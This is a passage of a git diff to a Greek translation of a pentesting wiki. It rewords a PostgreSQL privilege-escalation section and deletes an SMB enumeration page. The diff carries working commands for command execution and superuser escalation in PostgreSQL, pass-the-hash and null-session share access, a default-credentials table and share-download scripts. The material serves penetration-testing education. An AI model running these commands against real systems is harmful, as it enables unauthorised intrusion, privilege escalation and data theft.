θήκης. ## **Postgres Privesc** @@ -527,9 +526,9 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so #### **Grant** -Σύμφωνα με τα [**έγγραφα**](https://www.postgresql.org/docs/13/sql-grant.html): _Οι ρόλοι που έχουν δικαίωμα **`CREATEROLE`** μπορούν να **παραχωρήσουν ή να ανακαλέσουν την ιδιότητα μέλους σε οποιονδήποτε ρόλο** που **δεν είναι** υπερ-χρήστης._ +Σύμφωνα με τα [**έγγραφα**](https://www.postgresql.org/docs/13/sql-grant.html): _Οι ρόλοι που έχουν δικαίωμα **`CREATEROLE`** μπορούν να **παραχωρήσουν ή να ανακαλέσουν τη συμμετοχή σε οποιονδήποτε ρόλο** που **δεν είναι** υπερ-χρήστης._ -Έτσι, αν έχετε δικαίωμα **`CREATEROLE`** μπορείτε να παραχωρήσετε πρόσβαση σε άλλους **ρόλους** (που δεν είναι υπερ-χρήστης) που μπορούν να σας δώσουν την επιλογή να διαβάσετε & γράψετε αρχεία και να εκτελέσετε εντολές: +Έτσι, αν έχετε άδεια **`CREATEROLE`**, μπορείτε να παραχωρήσετε πρόσβαση σε άλλους **ρόλους** (που δεν είναι υπερ-χρήστες) που μπορούν να σας δώσουν τη δυνατότητα να διαβάσετε και να γράψετε αρχεία και να εκτελέσετε εντολές: ```sql # Access to execute commands GRANT pg_execute_server_program TO username; @@ -551,7 +550,7 @@ ALTER USER user_name WITH PASSWORD 'new_password'; ```sql COPY (select '') to PROGRAM 'psql -U -c "ALTER USER WITH SUPERUSER;"'; ``` -> [!NOTE] +> [!TIP] > Αυτό είναι συνήθως δυνατό λόγω των παρακάτω γραμμών στο αρχείο **`pg_hba.conf`**: > > ```bash @@ -565,13 +564,13 @@ COPY (select '') to PROGRAM 'psql -U -c "ALTER USER ### **ALTER TABLE privesc** -Στο [**αυτό το άρθρο**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) εξηγείται πώς ήταν δυνατό να γίνει **privesc** στο Postgres GCP εκμεταλλευόμενοι το δικαίωμα ALTER TABLE που είχε παραχωρηθεί στον χρήστη. +Στο [**αυτό το writeup**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) εξηγείται πώς ήταν δυνατό να γίνει **privesc** στο Postgres GCP εκμεταλλευόμενοι το δικαίωμα ALTER TABLE που είχε παραχωρηθεί στον χρήστη. Όταν προσπαθείτε να **κάνετε έναν άλλο χρήστη ιδιοκτήτη ενός πίνακα**, θα πρέπει να λάβετε ένα **σφάλμα** που να το αποτρέπει, αλλά προφανώς το GCP έδωσε αυτή την **επιλογή στον χρήστη postgres που δεν είναι superuser** στο GCP:
-Συνδυάζοντας αυτή την ιδέα με το γεγονός ότι όταν εκτελούνται οι εντολές **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) σε έναν **πίνακα με μια συνάρτηση ευρετηρίου**, η **συνάρτηση** καλείται ως μέρος της εντολής με τα δικαιώματα του **ιδιοκτήτη** του **πίνακα**. Είναι δυνατό να δημιουργηθεί ένα ευρετήριο με μια συνάρτηση και να παραχωρηθούν δικαιώματα ιδιοκτησίας σε έναν **super user** πάνω σε αυτόν τον πίνακα, και στη συνέχεια να εκτελεστεί ANALYZE πάνω στον πίνακα με τη κακόβουλη συνάρτηση που θα είναι σε θέση να εκτελεί εντολές επειδή χρησιμοποιεί τα προνόμια του ιδιοκτήτη. +Συνδυάζοντας αυτή την ιδέα με το γεγονός ότι όταν εκτελούνται οι εντολές **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) σε έναν **πίνακα με μια συνάρτηση ευρετηρίου**, η **συνάρτηση** καλείται ως μέρος της εντολής με τα **δικαιώματα** του **ιδιοκτήτη του πίνακα**. Είναι δυνατό να δημιουργηθεί ένα ευρετήριο με μια συνάρτηση και να παραχωρηθούν δικαιώματα ιδιοκτησίας σε έναν **super user** πάνω σε αυτόν τον πίνακα, και στη συνέχεια να εκτελεστεί ANALYZE πάνω στον πίνακα με τη κακόβουλη συνάρτηση που θα είναι σε θέση να εκτελεί εντολές επειδή χρησιμοποιεί τα προνόμια του ιδιοκτήτη. ```c GetUserIdAndSecContext(&save_userid, &save_sec_context); SetUserIdAndSecContext(onerel->rd_rel->relowner, @@ -606,13 +605,13 @@ LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ANALYZE public.temp_table; ``` -Στη συνέχεια, ο πίνακας `shell_commands_results` θα περιέχει την έξοδο του εκτελούμενου κώδικα: +Τότε, ο πίνακας `shell_commands_results` θα περιέχει την έξοδο του εκτελούμενου κώδικα: ``` uid=2345(postgres) gid=2345(postgres) groups=2345(postgres) ``` ### Τοπική Σύνδεση -Ορισμένες κακώς ρυθμισμένες εγκαταστάσεις postgresql μπορεί να επιτρέπουν τη σύνδεση οποιουδήποτε τοπικού χρήστη, είναι δυνατή η τοπική σύνδεση από το 127.0.0.1 χρησιμοποιώντας τη **`dblink` function**: +Ορισμένες κακώς ρυθμισμένες περιπτώσεις postgresql μπορεί να επιτρέπουν τη σύνδεση οποιουδήποτε τοπικού χρήστη, είναι δυνατή η τοπική σύνδεση από το 127.0.0.1 χρησιμοποιώντας τη **`dblink` function**: ```sql \du * # Get Users \l # Get databases @@ -643,7 +642,7 @@ RETURNS (result TEXT); ```sql SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2; ``` -### **Προσαρμοσμένη καθορισμένη συνάρτηση με** SECURITY DEFINER +### **Custom defined function with** SECURITY DEFINER [**Σε αυτή την αναφορά**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), οι pentesters κατάφεραν να αποκτήσουν δικαιώματα μέσα σε μια postgres instance που παρέχεται από την IBM, επειδή **βρήκαν αυτή τη συνάρτηση με την ένδειξη SECURITY DEFINER**: @@ -666,7 +665,7 @@ PERFORM dblink_disconnect(); …
-Όπως [**εξηγείται στα έγγραφα**](https://www.postgresql.org/docs/current/sql-createfunction.html), μια συνάρτηση με **SECURITY DEFINER εκτελείται** με τα δικαιώματα του **χρήστη που την κατέχει**. Επομένως, αν η συνάρτηση είναι **ευάλωτη σε SQL Injection** ή εκτελεί κάποιες **προνομιακές ενέργειες με παραμέτρους που ελέγχονται από τον επιτιθέμενο**, θα μπορούσε να καταχραστεί για **να κλιμακώσει τα δικαιώματα μέσα σε postgres**. +Όπως [**εξηγείται στα έγγραφα**](https://www.postgresql.org/docs/current/sql-createfunction.html), μια συνάρτηση με **SECURITY DEFINER εκτελείται** με τα δικαιώματα του **χρήστη που την κατέχει**. Επομένως, αν η συνάρτηση είναι **ευάλωτη σε SQL Injection** ή εκτελεί κάποιες **προνομιακές ενέργειες με παραμέτρους που ελέγχονται από τον επιτιθέμενο**, μπορεί να καταχραστεί για **να κλιμακώσει τα δικαιώματα μέσα σε postgres**. Στη γραμμή 4 του προηγούμενου κώδικα μπορείτε να δείτε ότι η συνάρτηση έχει την ένδειξη **SECURITY DEFINER**. ```sql @@ -678,9 +677,9 @@ WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
-### Παράκαμψη Burteforce με PL/pgSQL +### Pass Burteforce με PL/pgSQL -**PL/pgSQL** είναι μια **πλήρως χαρακτηριστική γλώσσα προγραμματισμού** που προσφέρει μεγαλύτερο διαδικαστικό έλεγχο σε σύγκριση με το SQL. Επιτρέπει τη χρήση **βρόχων** και άλλων **δομών ελέγχου** για την ενίσχυση της λογικής του προγράμματος. Επιπλέον, οι **δηλώσεις SQL** και οι **triggers** έχουν τη δυνατότητα να καλούν συναρτήσεις που δημιουργούνται με τη **γλώσσα PL/pgSQL**. Αυτή η ενσωμάτωση επιτρέπει μια πιο ολοκληρωμένη και ευέλικτη προσέγγιση στον προγραμματισμό και την αυτοματοποίηση βάσεων δεδομένων.\ +**PL/pgSQL** είναι μια **πλήρως χαρακτηριστική γλώσσα προγραμματισμού** που προσφέρει μεγαλύτερο διαδικαστικό έλεγχο σε σύγκριση με το SQL. Επιτρέπει τη χρήση **βρόχων** και άλλων **δομών ελέγχου** για την ενίσχυση της λογικής του προγράμματος. Επιπλέον, οι **δηλώσεις SQL** και οι **triggers** έχουν τη δυνατότητα να καλούν συναρτήσεις που έχουν δημιουργηθεί χρησιμοποιώντας τη **γλώσσα PL/pgSQL**. Αυτή η ενσωμάτωση επιτρέπει μια πιο ολοκληρωμένη και ευέλικτη προσέγγιση στον προγραμματισμό και την αυτοματοποίηση βάσεων δεδομένων.\ **Μπορείτε να καταχραστείτε αυτή τη γλώσσα για να ζητήσετε από το PostgreSQL να κάνει brute-force τα διαπιστευτήρια χρηστών.** {{#ref}} @@ -689,8 +688,8 @@ WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user); ### Privesc με την Επικαλύψη Εσωτερικών Πινάκων PostgreSQL -> [!NOTE] -> Ο παρακάτω privesc φορέας είναι ιδιαίτερα χρήσιμος σε περιορισμένα SQLi συμφραζόμενα, καθώς όλα τα βήματα μπορούν να εκτελούνται μέσω εσωτερικών δηλώσεων SELECT +> [!TIP] +> Ο παρακάτω privesc vector είναι ιδιαίτερα χρήσιμος σε περιορισμένα SQLi συμφραζόμενα, καθώς όλα τα βήματα μπορούν να εκτελούνται μέσω εσωτερικών δηλώσεων SELECT Εάν μπορείτε να **διαβάσετε και να γράψετε αρχεία του διακομιστή PostgreSQL**, μπορείτε να **γίνετε superuser** επικαλύπτοντας το filenode του PostgreSQL στον δίσκο, που σχετίζεται με τον εσωτερικό πίνακα `pg_authid`. @@ -704,7 +703,7 @@ WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user); 4. Αποκτήστε τον τύπο δεδομένων, που σχετίζεται με τον πίνακα `pg_authid` 5. Χρησιμοποιήστε τον [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) για να [επεξεργαστείτε το filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table); ρυθμίστε όλες τις boolean σημαίες `rol*` σε 1 για πλήρη δικαιώματα. 6. Επαναφορτώστε το επεξεργασμένο filenode μέσω των συναρτήσεων `lo_*`, και επικαλύψτε το αρχικό αρχείο στον δίσκο -7. _(Προαιρετικά)_ Καθαρίστε την κρυφή μνήμη του πίνακα από τη μνήμη εκτελώντας ένα δαπανηρό SQL query +7. _(Προαιρετικά)_ Καθαρίστε την κρυφή μνήμη του πίνακα που βρίσκεται στη μνήμη εκτελώντας ένα δαπανηρό SQL query 8. Τώρα θα πρέπει να έχετε τα προνόμια ενός πλήρους superadmin. ## **POST** @@ -732,7 +731,7 @@ sudo service postgresql restart [pgadmin](https://www.pgadmin.org) είναι μια πλατφόρμα διαχείρισης και ανάπτυξης για το PostgreSQL.\ Μπορείτε να βρείτε **κωδικούς πρόσβασης** μέσα στο _**pgadmin4.db**_ αρχείο\ -Μπορείτε να τους αποκρυπτογραφήσετε χρησιμοποιώντας τη _**decrypt**_ συνάρτηση μέσα στο σενάριο: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py) +Μπορείτε να τους αποκρυπτογραφήσετε χρησιμοποιώντας τη λειτουργία _**decrypt**_ μέσα στο σενάριο: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py) ```bash sqlite3 pgadmin4.db ".schema" sqlite3 pgadmin4.db "select * from user;" @@ -741,8 +740,8 @@ string pgadmin4.db ``` ### pg_hba -Η πιστοποίηση πελάτη στο PostgreSQL διαχειρίζεται μέσω ενός αρχείου ρυθμίσεων που ονομάζεται **pg_hba.conf**. Αυτό το αρχείο περιέχει μια σειρά από εγγραφές, κάθε μία από τις οποίες καθορίζει έναν τύπο σύνδεσης, εύρος διευθύνσεων IP πελάτη (αν εφαρμόζεται), όνομα βάσης δεδομένων, όνομα χρήστη και τη μέθοδο πιστοποίησης που θα χρησιμοποιηθεί για την αντιστοίχιση των συνδέσεων. Η πρώτη εγγραφή που ταιριάζει με τον τύπο σύνδεσης, τη διεύθυνση πελάτη, τη ζητούμενη βάση δεδομένων και το όνομα χρήστη χρησιμοποιείται για την πιστοποίηση. Δεν υπάρχει εναλλακτική ή αντίγραφο αν η πιστοποίηση αποτύχει. Αν καμία εγγραφή δεν ταιριάζει, η πρόσβαση απορρίπτεται. +Η πιστοποίηση πελάτη στο PostgreSQL διαχειρίζεται μέσω ενός αρχείου ρυθμίσεων που ονομάζεται **pg_hba.conf**. Αυτό το αρχείο περιέχει μια σειρά από εγγραφές, κάθε μία από τις οποίες καθορίζει έναν τύπο σύνδεσης, εύρος διευθύνσεων IP πελάτη (αν ισχύει), όνομα βάσης δεδομένων, όνομα χρήστη και τη μέθοδο πιστοποίησης που θα χρησιμοποιηθεί για την αντιστοίχιση των συνδέσεων. Η πρώτη εγγραφή που ταιριάζει με τον τύπο σύνδεσης, τη διεύθυνση πελάτη, τη ζητούμενη βάση δεδομένων και το όνομα χρήστη χρησιμοποιείται για την πιστοποίηση. Δεν υπάρχει εναλλακτική ή αντίγραφο αν η πιστοποίηση αποτύχει. Αν καμία εγγραφή δεν ταιριάζει, η πρόσβαση απορρίπτεται. -Οι διαθέσιμες μεθόδοι πιστοποίησης με βάση τον κωδικό πρόσβασης στο pg_hba.conf είναι **md5**, **crypt** και **password**. Αυτές οι μέθοδοι διαφέρουν στον τρόπο μετάδοσης του κωδικού πρόσβασης: MD5-hashed, crypt-encrypted ή clear-text. Είναι σημαντικό να σημειωθεί ότι η μέθοδος crypt δεν μπορεί να χρησιμοποιηθεί με κωδικούς πρόσβασης που έχουν κρυπτογραφηθεί στο pg_authid. +Οι διαθέσιμες μέθοδοι πιστοποίησης με βάση τον κωδικό πρόσβασης στο pg_hba.conf είναι **md5**, **crypt** και **password**. Αυτές οι μέθοδοι διαφέρουν στον τρόπο μετάδοσης του κωδικού πρόσβασης: MD5-hashed, crypt-encrypted ή clear-text. Είναι σημαντικό να σημειωθεί ότι η μέθοδος crypt δεν μπορεί να χρησιμοποιηθεί με κωδικούς πρόσβασης που έχουν κρυπτογραφηθεί στο pg_authid. {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-smb.md b/src/network-services-pentesting/pentesting-smb.md deleted file mode 100644 index 5ce619465..000000000 --- a/src/network-services-pentesting/pentesting-smb.md +++ /dev/null @@ -1,532 +0,0 @@ -# 139,445 - Pentesting SMB - -{{#include ../banners/hacktricks-training.md}} - -## **Port 139** - -Το _**Network Basic Input Output System**_** (NetBIOS)** είναι ένα πρωτόκολλο λογισμικού σχεδιασμένο για να επιτρέπει σε εφαρμογές, υπολογιστές και επιτραπέζιους υπολογιστές εντός ενός τοπικού δικτύου (LAN) να αλληλεπιδρούν με το υλικό του δικτύου και **να διευκολύνουν τη μετάδοση δεδομένων μέσω του δικτύου**. Η αναγνώριση και η τοποθεσία των εφαρμογών λογισμικού που λειτουργούν σε ένα δίκτυο NetBIOS επιτυγχάνονται μέσω των ονομάτων NetBIOS τους, τα οποία μπορούν να είναι έως 16 χαρακτήρες σε μήκος και συχνά διαφέρουν από το όνομα του υπολογιστή. Μια συνεδρία NetBIOS μεταξύ δύο εφαρμογών ξεκινά όταν μία εφαρμογή (που λειτουργεί ως πελάτης) εκδίδει μια εντολή για να "καλέσει" μια άλλη εφαρμογή (που λειτουργεί ως διακομιστής) χρησιμοποιώντας **TCP Port 139**. -``` -139/tcp open netbios-ssn Microsoft Windows netbios-ssn -``` -## Port 445 - -Τεχνικά, το Port 139 αναφέρεται ως ‘NBT over IP’, ενώ το Port 445 αναγνωρίζεται ως ‘SMB over IP’. Το ακρωνύμιο **SMB** σημαίνει ‘**Server Message Blocks**’, το οποίο είναι επίσης σύγχρονα γνωστό ως το **Common Internet File System (CIFS)**. Ως πρωτόκολλο δικτύου επιπέδου εφαρμογής, το SMB/CIFS χρησιμοποιείται κυρίως για να επιτρέπει κοινή πρόσβαση σε αρχεία, εκτυπωτές, σειριακές θύρες και διευκολύνει διάφορες μορφές επικοινωνίας μεταξύ κόμβων σε ένα δίκτυο. - -Για παράδειγμα, στο πλαίσιο των Windows, τονίζεται ότι το SMB μπορεί να λειτουργεί απευθείας πάνω από TCP/IP, εξαλείφοντας την ανάγκη για NetBIOS πάνω από TCP/IP, μέσω της χρήσης της θύρας 445. Αντίθετα, σε διάφορα συστήματα, παρατηρείται η χρήση της θύρας 139, υποδεικνύοντας ότι το SMB εκτελείται σε συνδυασμό με NetBIOS πάνω από TCP/IP. -``` -445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) -``` -### SMB - -Το **Server Message Block (SMB)** πρωτόκολλο, που λειτουργεί σε μοντέλο **client-server**, έχει σχεδιαστεί για να ρυθμίζει την **πρόσβαση σε αρχεία**, καταλόγους και άλλους πόρους δικτύου όπως εκτυπωτές και δρομολογητές. Χρησιμοποιείται κυρίως μέσα στη σειρά λειτουργικών συστημάτων **Windows**, το SMB διασφαλίζει την οπισθοδρομική συμβατότητα, επιτρέποντας στις συσκευές με νεότερες εκδόσεις του λειτουργικού συστήματος της Microsoft να αλληλεπιδρούν ομαλά με αυτές που εκτελούν παλαιότερες εκδόσεις. Επιπλέον, το έργο **Samba** προσφέρει μια δωρεάν λύση λογισμικού, επιτρέποντας την υλοποίηση του SMB σε συστήματα **Linux** και Unix, διευκολύνοντας έτσι την επικοινωνία μεταξύ πλατφορμών μέσω του SMB. - -Οι κοινές χρήσεις, που αντιπροσωπεύουν **τυχαία μέρη του τοπικού συστήματος αρχείων**, μπορούν να παρέχονται από έναν διακομιστή SMB, καθιστώντας τη ιεραρχία ορατή σε έναν πελάτη εν μέρει **ανεξάρτητη** από τη πραγματική δομή του διακομιστή. Οι **Access Control Lists (ACLs)**, που καθορίζουν τα **δικαιώματα πρόσβασης**, επιτρέπουν **λεπτομερή έλεγχο** πάνω στις άδειες χρηστών, συμπεριλαμβανομένων χαρακτηριστικών όπως **`execute`**, **`read`** και **`full access`**. Αυτές οι άδειες μπορούν να ανατεθούν σε μεμονωμένους χρήστες ή ομάδες, με βάση τις κοινές χρήσεις, και είναι διακριτές από τις τοπικές άδειες που έχουν οριστεί στον διακομιστή. - -### IPC$ Share - -Η πρόσβαση στην κοινή χρήση IPC$ μπορεί να αποκτηθεί μέσω μιας ανώνυμης κενής συνεδρίας, επιτρέποντας την αλληλεπίδραση με υπηρεσίες που εκτίθενται μέσω ονομασμένων σωλήνων. Το εργαλείο `enum4linux` είναι χρήσιμο για αυτό το σκοπό. Χρησιμοποιούμενο σωστά, επιτρέπει την απόκτηση: - -- Πληροφοριών σχετικά με το λειτουργικό σύστημα -- Λεπτομερειών σχετικά με το γονικό τομέα -- Συγκέντρωσης τοπικών χρηστών και ομάδων -- Πληροφοριών σχετικά με τις διαθέσιμες κοινές χρήσεις SMB -- Της αποτελεσματικής πολιτικής ασφάλειας του συστήματος - -Αυτή η λειτουργικότητα είναι κρίσιμη για τους διαχειριστές δικτύου και τους επαγγελματίες ασφάλειας για να αξιολογήσουν τη θέση ασφάλειας των υπηρεσιών SMB (Server Message Block) σε ένα δίκτυο. Το `enum4linux` παρέχει μια ολοκληρωμένη εικόνα του περιβάλλοντος SMB του στοχευόμενου συστήματος, που είναι απαραίτητη για την αναγνώριση πιθανών ευπαθειών και τη διασφάλιση ότι οι υπηρεσίες SMB είναι σωστά ασφαλισμένες. -```bash -enum4linux -a target_ip -``` -Η παραπάνω εντολή είναι ένα παράδειγμα του πώς μπορεί να χρησιμοποιηθεί το `enum4linux` για να εκτελέσει πλήρη καταμέτρηση σε έναν στόχο που καθορίζεται από το `target_ip`. - -## Τι είναι το NTLM - -Αν δεν ξέρετε τι είναι το NTLM ή θέλετε να μάθετε πώς λειτουργεί και πώς να το εκμεταλλευτείτε, θα βρείτε πολύ ενδιαφέρουσα αυτή τη σελίδα για το **NTLM** όπου εξηγείται **πώς λειτουργεί αυτό το πρωτόκολλο και πώς μπορείτε να το εκμεταλλευτείτε:** - -{{#ref}} -../windows-hardening/ntlm/ -{{#endref}} - -## **Καταμέτρηση Διακομιστή** - -### **Σάρωση** ενός δικτύου αναζητώντας hosts: -```bash -nbtscan -r 192.168.0.1/24 -``` -### SMB server version - -Για να αναζητήσετε πιθανά exploits για την έκδοση SMB, είναι σημαντικό να γνωρίζετε ποια έκδοση χρησιμοποιείται. Αν αυτή η πληροφορία δεν εμφανίζεται σε άλλα εργαλεία που χρησιμοποιούνται, μπορείτε να: - -- Χρησιμοποιήσετε το **MSF** auxiliary module _**auxiliary/scanner/smb/smb_version**_ -- Ή αυτό το script: -```bash -#!/bin/sh -#Author: rewardone -#Description: -# Requires root or enough permissions to use tcpdump -# Will listen for the first 7 packets of a null login -# and grab the SMB Version -#Notes: -# Will sometimes not capture or will print multiple -# lines. May need to run a second time for success. -if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi -if [ ! -z $2 ]; then rport=$2; else rport=139; fi -tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " & -echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null -echo "" && sleep .1 -``` -### **Αναζήτηση εκμετάλλευσης** -```bash -msf> search type:exploit platform:windows target:2008 smb -searchsploit microsoft smb -``` -### **Πιθανές** Διαπιστώσεις - -| **Όνομα χρήστη(ες)** | **Κοινές κωδικοί πρόσβασης** | -| --------------------- | ------------------------------------------ | -| _(κενό)_ | _(κενό)_ | -| guest | _(κενό)_ | -| Administrator, admin | _(κενό)_, password, administrator, admin | -| arcserve | arcserve, backup | -| tivoli, tmersrvd | tivoli, tmersrvd, admin | -| backupexec, backup | backupexec, backup, arcada | -| test, lab, demo | password, test, lab, demo | - -### Brute Force - -- [**SMB Brute Force**](../generic-methodologies-and-resources/brute-force.md#smb) - -### Πληροφορίες Περιβάλλοντος SMB - -### Απόκτηση Πληροφοριών -```bash -#Dump interesting information -enum4linux -a [-u "" -p ""] -enum4linux-ng -A [-u "" -p ""] -nmap --script "safe or smb-enum-*" -p 445 - -#Connect to the rpc -rpcclient -U "" -N #No creds -rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash -rpcclient -U "username%passwd" #With creds -#You can use querydispinfo and enumdomusers to query user information - -#Dump user information -/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@] -/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@] - -#Map possible RPC endpoints -/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@] -/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@] -/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@] -``` -### Καταμέτρηση Χρηστών, Ομάδων & Συνδεδεμένων Χρηστών - -Αυτές οι πληροφορίες θα πρέπει ήδη να έχουν συλλεχθεί από το enum4linux και το enum4linux-ng. -```bash -crackmapexec smb 10.10.10.10 --users [-u -p ] -crackmapexec smb 10.10.10.10 --groups [-u -p ] -crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u -p ] - -ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " " - -rpcclient -U "" -N 10.10.10.10 -enumdomusers -enumdomgroups -``` -### Καταμέτρηση τοπικών χρηστών - -[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py) -```bash -lookupsid.py -no-pass hostname.local -``` -Μονογραμμή -```bash -for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done -``` -### Metasploit - Καταμέτρηση τοπικών χρηστών -```bash -use auxiliary/scanner/smb/smb_lookupsid -set rhosts hostname.local -run -``` -### **Αναγνώριση LSARPC και SAMR rpcclient** - -{{#ref}} -pentesting-smb/rpcclient-enumeration.md -{{#endref}} - -### Σύνδεση GUI από linux - -#### Στο τερματικό: - -`xdg-open smb://cascade.htb/` - -#### Στο παράθυρο του εξερευνητή αρχείων (nautilus, thunar, κ.λπ.) - -`smb://friendzone.htb/general/` - -## Αναγνώριση Κοινών Φακέλων - -### Λίστα κοινών φακέλων - -Είναι πάντα συνιστώμενο να ελέγχετε αν μπορείτε να έχετε πρόσβαση σε οτιδήποτε, αν δεν έχετε διαπιστευτήρια δοκιμάστε να χρησιμοποιήσετε **null** **credentials/guest user**. -```bash -smbclient --no-pass -L // # Null user -smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash - -smbmap -H [-P ] #Null user -smbmap -u "username" -p "password" -H [-P ] #Creds -smbmap -u "username" -p ":" -H [-P ] #Pass-the-Hash -smbmap -R -u "username" -p "password" -H [-P ] #Recursive list - -crackmapexec smb -u '' -p '' --shares #Null user -crackmapexec smb -u 'username' -p 'password' --shares #Guest user -crackmapexec smb -u 'username' -H '' --shares #Guest user -``` -### **Σύνδεση/Λίστα ενός κοινόχρηστου φακέλου** -```bash -#Connect using smbclient -smbclient --no-pass /// -smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash -#Use --no-pass -c 'recurse;ls' to list recursively with smbclient - -#List with smbmap, without folder it list everything -smbmap [-u "username" -p "password"] -R [Folder] -H [-P ] # Recursive list -smbmap [-u "username" -p "password"] -r [Folder] -H [-P ] # Non-Recursive list -smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-the-Hash -``` -### **Χειροκίνητη καταμέτρηση κοινών πόρων Windows και σύνδεση σε αυτούς** - -Είναι πιθανό να είστε περιορισμένοι στο να εμφανίσετε οποιουσδήποτε πόρους της μηχανής-οικοδεσπότη και όταν προσπαθείτε να τους καταγράψετε, φαίνεται ότι δεν υπάρχουν πόροι για σύνδεση. Έτσι, μπορεί να αξίζει να προσπαθήσετε να συνδεθείτε χειροκίνητα σε έναν πόρο. Για να καταμετρήσετε τους πόρους χειροκίνητα, μπορεί να θέλετε να αναζητήσετε απαντήσεις όπως NT_STATUS_ACCESS_DENIED και NT_STATUS_BAD_NETWORK_NAME, όταν χρησιμοποιείτε μια έγκυρη συνεδρία (π.χ. null session ή έγκυρα διαπιστευτήρια). Αυτά μπορεί να υποδεικνύουν αν ο πόρος υπάρχει και δεν έχετε πρόσβαση σε αυτόν ή αν ο πόρος δεν υπάρχει καθόλου. - -Κοινά ονόματα πόρων για στόχους Windows είναι - -- C$ -- D$ -- ADMIN$ -- IPC$ -- PRINT$ -- FAX$ -- SYSVOL -- NETLOGON - -(Κοινά ονόματα πόρων από _**Network Security Assessment 3rd edition**_) - -Μπορείτε να προσπαθήσετε να συνδεθείτε σε αυτούς χρησιμοποιώντας την παρακάτω εντολή -```bash -smbclient -U '%' -N \\\\\\ # null session to connect to a windows share -smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) -``` -ή για αυτό το σενάριο (χρησιμοποιώντας μια κενή συνεδρία) -```bash -#/bin/bash - -ip='' -shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON') - -for share in ${shares[*]}; do -output=$(smbclient -U '%' -N \\\\$ip\\$share -c '') - -if [[ -z $output ]]; then -echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created -else -echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME) -fi -done -``` -παραδείγματα -```bash -smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME -smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session -``` -### **Καταμέτρηση μεριδίων από Windows / χωρίς εργαλεία τρίτων** - -PowerShell -```bash -# Retrieves the SMB shares on the locale computer. -Get-SmbShare -Get-WmiObject -Class Win32_Share -# Retrieves the SMB shares on a remote computer. -get-smbshare -CimSession "" -# Retrieves the connections established from the local SMB client to the SMB servers. -Get-SmbConnection -``` -Κονσόλα CMD -```shell -# List shares on the local computer -net share -# List shares on a remote computer (including hidden ones) -net view \\ /all -``` -MMC Snap-in (γραφικό) -```shell -# Shared Folders: Shared Folders > Shares -fsmgmt.msc -# Computer Management: Computer Management > System Tools > Shared Folders > Shares -compmgmt.msc -``` -explorer.exe (γραφικό), εισάγετε `\\\` για να δείτε τις διαθέσιμες μη κρυφές κοινές χρήσεις. - -### Σύνδεση σε έναν κοινόχρηστο φάκελο -```bash -mount -t cifs //x.x.x.x/share /mnt/share -mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share -``` -### **Λήψη αρχείων** - -Διαβάστε τις προηγούμενες ενότητες για να μάθετε πώς να συνδεθείτε με διαπιστευτήρια/Pass-the-Hash. -```bash -#Search a file and download -sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap -``` - -```bash -#Download all -smbclient /// -> mask "" -> recurse -> prompt -> mget * -#Download everything to current directory -``` -Εντολές: - -- mask: καθορίζει τη μάσκα που χρησιμοποιείται για να 